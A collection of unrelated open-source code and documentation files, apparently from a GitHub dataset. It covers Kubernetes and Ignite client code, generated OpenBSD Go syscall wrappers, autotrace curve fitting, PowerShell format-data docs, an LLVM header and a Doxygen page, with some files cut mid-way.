this.listview_toc.View = System.Windows.Forms.View.Details;
this.listview_toc.DoubleClick += new System.EventHandler(this.listview_toc_DoubleClick);
//
// FormTocList
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(572, 477);
this.Controls.Add(this.listview_toc);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(588, 516);
this.MinimumSize = new System.Drawing.Size(588, 516);
this.Name = "FormTocList";
this.Text = "选择书源";
this.Load += new System.EventHandler(this.FormTocList_Load);
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.ListView listview_toc;
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
/*
Copyright The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
package v1
import (
rest "k8s.io/client-go/rest"
)
// SelfSubjectAccessReviewsGetter has a method to return a SelfSubjectAccessReviewInterface.
// A group's client should implement this interface.
type SelfSubjectAccessReviewsGetter interface {
SelfSubjectAccessReviews() SelfSubjectAccessReviewInterface
}
// SelfSubjectAccessReviewInterface has methods to work with SelfSubjectAccessReview resources.
type SelfSubjectAccessReviewInterface interface {
SelfSubjectAccessReviewExpansion
}
// selfSubjectAccessReviews implements SelfSubjectAccessReviewInterface
type selfSubjectAccessReviews struct {
client rest.Interface
}
// newSelfSubjectAccessReviews returns a SelfSubjectAccessReviews
func newSelfSubjectAccessReviews(c *AuthorizationV1Client) *selfSubjectAccessReviews {
return &selfSubjectAccessReviews{
client: c.RESTClient(),
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.ignite.internal.processors.cache.binary;
import java.util.LinkedList;
import java.util.Map;
import java.util.Queue;
import java.util.UUID;
import java.util.concurrent.atomic.AtomicReference;
import org.apache.ignite.IgniteCheckedException;
import org.apache.ignite.IgniteLogger;
import org.apache.ignite.binary.BinaryObjectException;
import org.apache.ignite.cluster.ClusterNode;
import org.apache.ignite.internal.GridKernalContext;
import org.apache.ignite.internal.GridTopic;
import org.apache.ignite.internal.managers.communication.GridIoManager;
import org.apache.ignite.internal.managers.communication.GridIoPolicy;
import org.apache.ignite.internal.managers.discovery.GridDiscoveryManager;
import org.apache.ignite.internal.util.future.GridFutureAdapter;
import org.apache.ignite.internal.util.typedef.internal.U;
import org.jetbrains.annotations.Nullable;
/**
* Future is responsible for requesting up-to-date metadata from any server node in cluster
* and for blocking thread on client node until response arrives.
*
* It can cope with situation if node currently requested for the metadata leaves cluster;
* in that case future simply re-requests metadata from the next node available in topology.
*/
final class ClientMetadataRequestFuture extends GridFutureAdapter<MetadataUpdateResult> {
/** */
private static final AtomicReference<IgniteLogger> logRef = new AtomicReference<>();
/** */
private static IgniteLogger log;
/** */
private final GridIoManager ioMgr;
/** */
private final GridDiscoveryManager discoMgr;
/** */
private final int typeId;
/** */
private final Map<Integer, ClientMetadataRequestFuture> syncMap;
/** */
private final Queue<ClusterNode> aliveSrvNodes;
/** */
private ClusterNode pendingNode;
/**
* @param ctx Context.
* @param syncMap Map to store futures for ongoing requests.
*/
ClientMetadataRequestFuture(
GridKernalContext ctx,
int typeId,
Map<Integer, ClientMetadataRequestFuture> syncMap
) {
ioMgr = ctx.io();
discoMgr = ctx.discovery();
aliveSrvNodes = new LinkedList<>(discoMgr.aliveServerNodes());
this.typeId = typeId;
this.syncMap = syncMap;
if (log == null)
log = U.logger(ctx, logRef, ClientMetadataRequestFuture.class);
}
/** */
void requestMetadata() {
boolean noSrvsInCluster;
synchronized (this) {
while (!aliveSrvNodes.isEmpty()) {
ClusterNode srvNode = aliveSrvNodes.poll();
try {
if (log.isDebugEnabled())
log.debug("Requesting metadata for typeId " + typeId +
" from node " + srvNode.id()
);
ioMgr.sendToGridTopic(srvNode,
GridTopic.TOPIC_METADATA_REQ,
new MetadataRequestMessage(typeId),
GridIoPolicy.SYSTEM_POOL);
if (discoMgr.node(srvNode.id()) == null)
continue;
pendingNode = srvNode;
break;
}
catch (IgniteCheckedException ignored) {
U.warn(log,
"Failed to request marshaller mapping from remote node (proceeding with the next one): "
+ srvNode);
}
}
noSrvsInCluster = pendingNode == null;
}
if (noSrvsInCluster)
onDone(MetadataUpdateResult.createFailureResult(
new BinaryObjectException(
"All server nodes have left grid, cannot request metadata [typeId: "
+ typeId + "]")));
}
/**
* If left node is the one latest metadata request was sent to,
* request is sent again to the next node in topology.
*
* @param leftNodeId ID of left node.
*/
void onNodeLeft(UUID leftNodeId) {
boolean reqAgain = false;
synchronized (this) {
if (pendingNode != null && pendingNode.id().equals(leftNodeId)) {
aliveSrvNodes.remove(pendingNode);
pendingNode = null;
reqAgain = true;
}
}
if (reqAgain)
requestMetadata();
}
/** {@inheritDoc} */
@Override public boolean onDone(@Nullable MetadataUpdateResult res, @Nullable Throwable err) {
assert res != null;
boolean done = super.onDone(res, err);
if (done)
syncMap.remove(typeId);
return done;
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
// go run mksyscall.go -openbsd -tags openbsd,amd64 syscall_bsd.go syscall_openbsd.go syscall_openbsd_amd64.go
// Code generated by the command above; see README.md. DO NOT EDIT.
// +build openbsd,amd64
package unix
import (
"syscall"
"unsafe"
)
var _ syscall.Errno
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func setgroups(ngid int, gid *_Gid_t) (err error) {
_, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
wpid = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
fd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
_, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
_, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func socket(domain int, typ int, proto int) (fd int, err error) {
r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
fd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
_, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
_, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
_, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
_, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Shutdown(s int, how int) (err error) {
_, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
_, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
var _p0 unsafe.Pointer
if len(p) > 0 {
_p0 = unsafe.Pointer(&p[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
var _p0 unsafe.Pointer
if len(buf) > 0 {
_p0 = unsafe.Pointer(&buf[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
n = int(r
|
{
"pile_set_name": "Github"
}
| null | null |
###########
# pgms/mwips.awk
#
# Measures MWIPS for Whetstone (self-timing, ignore "time" output)
#
# Created 1997.08.25 DCN
#
BEGIN { rsum = 0.000; r2sum = 0.000; r_product = 0.0000;
iter = 0; Test=""; SubTest=""; secs = 10.00; secs_sum = 0.00;
}
/TEST\|/ { split($0, junk,"|");
Test=junk[2];
}
/FLAVOR\|/ { split($0, junk,"|");
flavor=junk[2] ;
}
/^MWIPS/ {
loopspersec=$2;
secs=$3;
secs_sum += secs;
loops=secs*loopstmp;
iter ++;
rsum += loopspersec;
r2sum += loopspersec*loopspersec;
r_product += log(loopspersec);
}
END {
if (iter > 0) {
# TestName|Sample(seconds)|units|ArithMean|GeoMean|DataPoints
printf("%s|%.1f|MWIPS|%.1f|%.1f|%d\n",Test,secs_sum/iter,rsum/iter,exp(r_product/iter),iter)
}
else {
printf("%s| no measured results|\n",Test);
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
/* fit.c: turn a bitmap representation of a curve into a list of splines.
Some of the ideas, but not the code, comes from the Phoenix thesis.
See README for the reference.
The code was partially derived from limn.
Copyright (C) 1992 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif /* Def: HAVE_CONFIG_H */
#include "autotrace.h"
#include "fit.h"
#include "logreport.h"
#include "spline.h"
#include "vector.h"
#include "curve.h"
#include "pxl-outline.h"
#include "epsilon-equal.h"
#include "xstd.h"
#include <math.h>
#ifndef FLT_MAX
#include <limits.h>
#include <float.h>
#endif
#ifndef FLT_MIN
#include <limits.h>
#include <float.h>
#endif
#include <string.h>
#include <assert.h>
#define SQUARE(x) ((x) * (x))
#define CUBE(x) ((x) * (x) * (x))
/* We need to manipulate lists of array indices. */
typedef struct index_list {
unsigned *data;
unsigned length;
} index_list_type;
/* The usual accessor macros. */
#define GET_INDEX(i_l, n) ((i_l).data[n])
#define INDEX_LIST_LENGTH(i_l) ((i_l).length)
#define GET_LAST_INDEX(i_l) ((i_l).data[INDEX_LIST_LENGTH (i_l) - 1])
static void append_index(index_list_type *, unsigned);
static void free_index_list(index_list_type *);
static index_list_type new_index_list(void);
static void remove_adjacent_corners(index_list_type *, unsigned, gboolean, at_exception_type * exception);
static void change_bad_lines(spline_list_type *, fitting_opts_type *);
static void filter(curve_type, fitting_opts_type *);
static void find_vectors(unsigned, pixel_outline_type, vector_type *, vector_type *, unsigned);
static index_list_type find_corners(pixel_outline_type, fitting_opts_type *, at_exception_type * exception);
static gfloat find_error(curve_type, spline_type, unsigned *, at_exception_type * exception);
static vector_type find_half_tangent(curve_type, gboolean start, unsigned *, unsigned);
static void find_tangent(curve_type, gboolean, gboolean, unsigned);
static spline_type fit_one_spline(curve_type, at_exception_type * exception);
static spline_list_type *fit_curve(curve_type, fitting_opts_type *, at_exception_type * exception);
static spline_list_type fit_curve_list(curve_list_type, fitting_opts_type *, at_distance_map *, at_exception_type * exception);
static spline_list_type *fit_with_least_squares(curve_type, fitting_opts_type *, at_exception_type * exception);
static spline_list_type *fit_with_line(curve_type);
static void remove_knee_points(curve_type, gboolean);
static void set_initial_parameter_values(curve_type);
static gboolean spline_linear_enough(spline_type *, curve_type, fitting_opts_type *);
static curve_list_array_type split_at_corners(pixel_outline_list_type, fitting_opts_type *, at_exception_type * exception);
static at_coord real_to_int_coord(at_real_coord);
static gfloat distance(at_real_coord, at_real_coord);
/* Get a new set of fitting options */
fitting_opts_type new_fitting_opts(void)
{
fitting_opts_type fitting_opts;
fitting_opts.background_color = NULL;
fitting_opts.charcode = 0;
fitting_opts.color_count = 0;
fitting_opts.corner_always_threshold = (gfloat) 60.0;
fitting_opts.corner_surround = 4;
fitting_opts.corner_threshold = (gfloat) 100.0;
fitting_opts.error_threshold = (gfloat) 2.0;
fitting_opts.filter_iterations = 4;
fitting_opts.line_reversion_threshold = (gfloat) .01;
fitting_opts.line_threshold = (gfloat) 1.0;
fitting_opts.remove_adjacent_corners = FALSE;
fitting_opts.tangent_surround = 3;
fitting_opts.despeckle_level = 0;
fitting_opts.despeckle_tightness = 2.0;
fitting_opts.noise_removal = (gfloat) 0.99;
fitting_opts.centerline = FALSE;
fitting_opts.preserve_width = FALSE;
fitting_opts.width_weight_factor = 6.0;
return (fitting_opts);
}
/* The top-level call that transforms the list of pixels in the outlines
of the original character to a list of spline lists fitted to those
pixels. */
spline_list_array_type fitted_splines(pixel_outline_list_type pixel_outline_list, fitting_opts_type * fitting_opts, at_distance_map * dist, unsigned short width, unsigned short height, at_exception_type * exception, at_progress_func notify_progress, gpointer progress_data, at_testcancel_func test_cancel, gpointer testcancel_data)
{
unsigned this_list;
spline_list_array_type char_splines = new_spline_list_array();
curve_list_array_type curve_array = split_at_corners(pixel_outline_list,
fitting_opts,
exception);
char_splines.centerline = fitting_opts->centerline;
char_splines.preserve_width = fitting_opts->preserve_width;
char_splines.width_weight_factor = fitting_opts->width_weight_factor;
if (fitting_opts->background_color)
char_splines.background_color = at_color_copy(fitting_opts->background_color);
else
char_splines.background_color = NULL;
/* Set dummy values. Real value is set in upper context. */
char_splines.width = width;
char_splines.height = height;
for (this_list = 0; this_list < CURVE_LIST_ARRAY_LENGTH(curve_array); this_list++) {
spline_list_type curve_list_splines;
curve_list_type curves = CURVE_LIST_ARRAY_ELT(curve_array, this_list);
if (notify_progress)
notify_progress((((gfloat) this_list) / ((gfloat) CURVE_LIST_ARRAY_LENGTH(curve_array) * (gfloat) 3.0) + (gfloat) 0.333), progress_data);
if (test_cancel && test_cancel(testcancel_data))
goto cleanup;
LOG("\nFitting curve list #%u:\n", this_list);
curve_list_splines = fit_curve_list(curves, fitting_opts, dist, exception);
if (at_exception_got_fatal(exception)) {
if (char_splines.background_color)
at_color_free(char_splines.background_color);
goto
|
{
"pile_set_name": "Github"
}
| null | null |
fileFormatVersion: 2
guid: cf9ebc36d43f657468fecb524763e3bc
ShaderImporter:
defaultTextures: []
userData:
|
{
"pile_set_name": "Github"
}
| null | null |
---
title: "Loading and Exporting Formatting Data | Microsoft Docs"
ms.date: "09/13/2016"
---
# Loading and Exporting Formatting Data
Once you have created your formatting file, you need to update the format data of the session by loading your files into the current session. (The formatting files provided by Windows PowerShell are loaded by snap-ins that are registered when the current session is opened.) Once the format data of the current session is updated, Windows PowerShell uses that data to display the .NET objects associated with the views defined in the loaded formatting files. There is no limit to the number of formatting files that you can load into the current session. In addition to updating the formatting data, you can export the format data in the current session back to a formatting file.
## Loading format data
Formatting files can be loaded into the current session using the following methods:
- You can import the formatting file into the current session from the command line. Use the [Update-FormatData](/powershell/module/Microsoft.PowerShell.Utility/Update-FormatData) cmdlet as described in the following procedure.
- You can create a module manifest that references your formatting file. Modules allow you to package you formatting files for distribution. Use the [New-ModuleManifest](/powershell/module/Microsoft.PowerShell.Core/New-ModuleManifest) cmdlet to create the manifest, and the [Import-Module](/powershell/module/Microsoft.PowerShell.Core/Import-Module) cmdlet to load the module into the current session. For more information about modules, see [Writing a Windows PowerShell Module](../module/writing-a-windows-powershell-module.md).
- You can create a snap-in that references your formatting file. Use the [System.Management.Automation.PSSnapIn.Formats](/dotnet/api/System.Management.Automation.PSSnapIn.Formats) to reference your formatting files. It is strongly encouraged to use modules to package cmdlets, and any associated formatting and types files for distribution. For more information about modules, see [Writing a Windows PowerShell Module](../module/writing-a-windows-powershell-module.md).
- If you are invoking commands programmatically, you can add a formatting file entry to the initial session state of the runspace where the commands are run. For more information about .NET type used to add the formatting file, see the [System.Management.Automation.Runspaces.Sessionstateformatentry?Displayproperty=Fullname](/dotnet/api/System.Management.Automation.Runspaces.SessionStateFormatEntry) class.
When a formatting file is loaded, it is added to an internal list that Windows PowerShell uses to determine which view to use when displaying objects at the command line. You can prepend your formatting file to the beginning of the list, or you can append it to the end of the list. Knowing where your formatting file is added to this list is important if you are loading formatting file that defines a view for an object that has an existing view defined, such as when you want to change how an object that is returned by a Windows PowerShell core cmdlet is displayed. If you are loading a formatting file that defines the only view for an object, you can use any of the methods described previously. If you are loading a formatting file that defines another view for an object, you must use the [Update-FormatData](/powershell/module/Microsoft.PowerShell.Utility/Update-FormatData) cmdlet and prepend your file to the beginning of the list.
## Storing Your Formatting File
There is no requirement for where your formatting files are stored on disk. However, it is strongly suggested that you store them in the following folder: `user\documents\windowspowershell\`
#### Loading a format file using Import-FormatData
1. Store your formatting file to disk.
2. Run the [Update-FormatData](/powershell/module/Microsoft.PowerShell.Utility/Update-FormatData) cmdlet using one of the following commands.
To add your formatting file to the front of the list use this command. Use this command if you are changing how an object is displayed.
```powershell
Update-FormatData -PrependPath PathToFormattingFile
```
To add your formatting file to the end of the list use this command.
```powershell
Update-FormatData -AppendPath PathToFormattingFile
```
Once you have added a file using the [Update-FormatData](/powershell/module/Microsoft.PowerShell.Utility/Update-FormatData) cmdlet, you cannot remove the file from the list while the session is open. You must close the session to remove the formatting file from the list.
## Exporting format data
Insert section body here.
|
{
"pile_set_name": "Github"
}
| null | null |
<?php
/*
* This file is part of the Ekino Wordpress package.
*
* (c) 2013 Ekino
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Ekino\WordpressBundle\Entity;
use Ekino\WordpressBundle\Model\User as UserModel;
/**
* Class User.
*
* This is the User entity
*
* @author Vincent Composieux <composieux@ekino.com>
*/
class User extends UserModel
{
}
|
{
"pile_set_name": "Github"
}
| null | null |
define(['../function/makeIterator_'], function (makeIterator) {
/**
* Array some
*/
function some(arr, callback, thisObj) {
callback = makeIterator(callback, thisObj);
var result = false;
if (arr == null) {
return result;
}
var i = -1, len = arr.length;
while (++i < len) {
// we iterate over sparse items since there is no way to make it
// work properly on IE 7-8. see #64
if ( callback(arr[i], i, arr) ) {
result = true;
break;
}
}
return result;
}
return some;
});
|
{
"pile_set_name": "Github"
}
| null | null |
//===-- RuntimeDyldCheckerImpl.h -- RuntimeDyld test framework --*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_LIB_EXECUTIONENGINE_RUNTIMEDYLD_RUNTIMEDYLDCHECKERIMPL_H
#define LLVM_LIB_EXECUTIONENGINE_RUNTIMEDYLD_RUNTIMEDYLDCHECKERIMPL_H
#include "RuntimeDyldImpl.h"
namespace llvm {
class RuntimeDyldCheckerImpl {
friend class RuntimeDyldChecker;
friend class RuntimeDyldImpl;
friend class RuntimeDyldCheckerExprEval;
friend class RuntimeDyldELF;
public:
RuntimeDyldCheckerImpl(RuntimeDyld &RTDyld, MCDisassembler *Disassembler,
MCInstPrinter *InstPrinter,
llvm::raw_ostream &ErrStream);
bool check(StringRef CheckExpr) const;
bool checkAllRulesInBuffer(StringRef RulePrefix, MemoryBuffer *MemBuf) const;
private:
// StubMap typedefs.
typedef std::map<std::string, uint64_t> StubOffsetsMap;
struct SectionAddressInfo {
uint64_t SectionID;
StubOffsetsMap StubOffsets;
};
typedef std::map<std::string, SectionAddressInfo> SectionMap;
typedef std::map<std::string, SectionMap> StubMap;
RuntimeDyldImpl &getRTDyld() const { return *RTDyld.Dyld; }
Expected<JITSymbolResolver::LookupResult>
lookup(const JITSymbolResolver::LookupSet &Symbols) const;
bool isSymbolValid(StringRef Symbol) const;
uint64_t getSymbolLocalAddr(StringRef Symbol) const;
uint64_t getSymbolRemoteAddr(StringRef Symbol) const;
uint64_t readMemoryAtAddr(uint64_t Addr, unsigned Size) const;
std::pair<const SectionAddressInfo*, std::string> findSectionAddrInfo(
StringRef FileName,
StringRef SectionName) const;
std::pair<uint64_t, std::string> getSectionAddr(StringRef FileName,
StringRef SectionName,
bool IsInsideLoad) const;
std::pair<uint64_t, std::string> getStubAddrFor(StringRef FileName,
StringRef SectionName,
StringRef Symbol,
bool IsInsideLoad) const;
StringRef getSubsectionStartingAt(StringRef Name) const;
Optional<uint64_t> getSectionLoadAddress(void *LocalAddr) const;
void registerSection(StringRef FilePath, unsigned SectionID);
void registerStubMap(StringRef FilePath, unsigned SectionID,
const RuntimeDyldImpl::StubMap &RTDyldStubs);
RuntimeDyld &RTDyld;
MCDisassembler *Disassembler;
MCInstPrinter *InstPrinter;
llvm::raw_ostream &ErrStream;
StubMap Stubs;
};
}
#endif
|
{
"pile_set_name": "Github"
}
| null | null |
## @file
# Component information file for Board Init Library
#
# Copyright (c) 2017, Intel Corporation. All rights reserved.<BR>
#
# SPDX-License-Identifier: BSD-2-Clause-Patent
#
##
[Defines]
INF_VERSION = 0x00010005
BASE_NAME = PeiMultiBoardInitSupportLib
FILE_GUID = E0238683-D3FD-4D97-8874-37C6157E2906
MODULE_TYPE = BASE
VERSION_STRING = 1.0
LIBRARY_CLASS = MultiBoardInitSupportLib
LIBRARY_CLASS = BoardInitLib
[LibraryClasses]
BaseLib
PcdLib
DebugLib
[Packages]
MinPlatformPkg/MinPlatformPkg.dec
MdePkg/MdePkg.dec
[Sources]
PeiMultiBoardInitSupportLib.c
PeiBoardInitLib.c
[Guids]
gBoardDetectGuid
gBoardPreMemInitGuid
gBoardPostMemInitGuid
gBoardNotificationInitGuid
[Pcd]
|
{
"pile_set_name": "Github"
}
| null | null |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.13"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>OpenMesh: OpenMesh/Core/IO/importer Directory Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="navtree.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="resize.js"></script>
<script type="text/javascript" src="navtreedata.js"></script>
<script type="text/javascript" src="navtree.js"></script>
<script type="text/javascript">
$(document).ready(initResizable);
</script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
<link href="logo_align.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td id="projectlogo"><img alt="Logo" src="rwth_vci_rgb.jpg"/></td>
<td id="projectalign" style="padding-left: 0.5em;">
<div id="projectname">OpenMesh
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.13 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
$(function() {
initMenu('',true,false,'search.php','Search');
$(document).ready(function() { init_search(); });
});
</script>
<div id="main-nav"></div>
</div><!-- top -->
<div id="side-nav" class="ui-resizable side-nav-resizable">
<div id="nav-tree">
<div id="nav-tree-contents">
<div id="nav-sync" class="sync"></div>
</div>
</div>
<div id="splitbar" style="-moz-user-select:none;"
class="ui-resizable-handle">
</div>
</div>
<script type="text/javascript">
$(document).ready(function(){initNavTree('dir_597714d32dfa686908dce7b4776ad969.html','');});
</script>
<div id="doc-content">
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div class="header">
<div class="headertitle">
<div class="title">importer Directory Reference</div> </div>
</div><!--header-->
<div class="contents">
<div class="dynheader">
Directory dependency graph for importer:</div>
<div class="dyncontent">
<div class="center"><img src="dir_597714d32dfa686908dce7b4776ad969_dep.png" border="0" usemap="#dir__597714d32dfa686908dce7b4776ad969__dep" alt="OpenMesh/Core/IO/importer"/></div>
<map name="dir__597714d32dfa686908dce7b4776ad969__dep" id="dir__597714d32dfa686908dce7b4776ad969__dep">
<area shape="rect" id="node1" href="dir_597714d32dfa686908dce7b4776ad969.html" title="importer" alt="" coords="41,52,113,100"/>
<area shape="rect" id="node2" href="dir_7477301876e1ee42543ae0d668800e48.html" title="Mesh" alt="" coords="5,148,77,196"/>
<area shape="rect" id="edge2-headlabel" href="dir_000043_000046.html" title="1" alt="" coords="61,127,69,141"/>
